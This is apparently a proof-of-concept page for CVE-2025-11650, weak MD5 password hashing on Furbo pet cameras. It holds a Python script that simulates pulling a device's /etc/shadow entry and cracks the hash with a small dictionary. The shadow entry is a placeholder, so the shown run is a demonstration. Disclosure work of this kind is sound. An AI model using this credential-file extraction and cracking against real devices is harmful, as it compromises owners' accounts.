CVE-2025-11650：Tomofun Furbo设备密码处理器使用弱哈希漏洞

# CVE-2025-11650 PoC - Furbo Weak Hash Vulnerability # This PoC demonstrates the concept of extracting and cracking weak password hashes # from Furbo 360 and Furbo Mini devices' /etc/shadow file. import hashlib import crypt # Step 1: Simulate extracting the /etc/shadow file from the compromised device # In a real attack, this would involve physical access to extract the file def extract_shadow_file(): """ Simulates the extraction of /etc/shadow from a Furbo device. The actual shadow file would be obtained through physical access, JTAG/UART debugging, or firmware extraction. """ # Example weak hash entry from /etc/shadow # Format: username:password_hash:lastchange:min:max:warn:inactive:expire shadow_entry = "furbo_user:$1$salt$weakHashValue:19000:0:99999:7:::" return shadow_entry # Step 2: Parse the shadow file entry def parse_shadow_entry(entry): """Parse a shadow file entry to extract the hash.""" parts = entry.split(':') username = parts[0] password_hash = parts[1] return username, password_hash # Step 3: Identify the hash algorithm used def identify_hash_algorithm(hash_str): """Identify the hash algorithm based on the prefix.""" if hash_str.startswith("$1$"): return "MD5 (weak)" elif hash_str.startswith("$2a$") or hash_str.startswith("$2b$"): return "bcrypt (strong)" elif hash_str.startswith("$5$"): return "SHA-256" elif hash_str.startswith("$6$"): return "SHA-512 (strong)" else: return "Unknown/Weak" # Step 4: Crack the weak hash using dictionary attack def crack_weak_hash(hash_str, wordlist): """ Attempt to crack a weak hash using a dictionary attack. MD5-based hashes ($1$) can be cracked relatively quickly. """ # Extract salt from the hash parts = hash_str.split('$') if len(parts) >= 4: salt = f"${parts[1]}${parts[2]}$" else: salt = "" for password in wordlist: # crypt() uses the salt to determine the algorithm test_hash = crypt.crypt(password, salt) if test_hash == hash_str: return password return None # Main execution if __name__ == "__main__": # Extract shadow file shadow = extract_shadow_file() username, pwd_hash = parse_shadow_entry(shadow) print(f"[*] Extracted shadow entry for user: {username}") print(f"[*] Password hash: {pwd_hash}") print(f"[*] Hash algorithm: {identify_hash_algorithm(pwd_hash)}") # Common password wordlist for demonstration wordlist = ["password", "admin", "furbo123", "123456", "password123"] print(f"[*] Attempting to crack weak hash...") cracked = crack_weak_hash(pwd_hash, wordlist) if cracked: print(f"[+] Password cracked: {cracked}") print(f"[!] Device credentials compromised!") else: print("[-] Password not found in wordlist")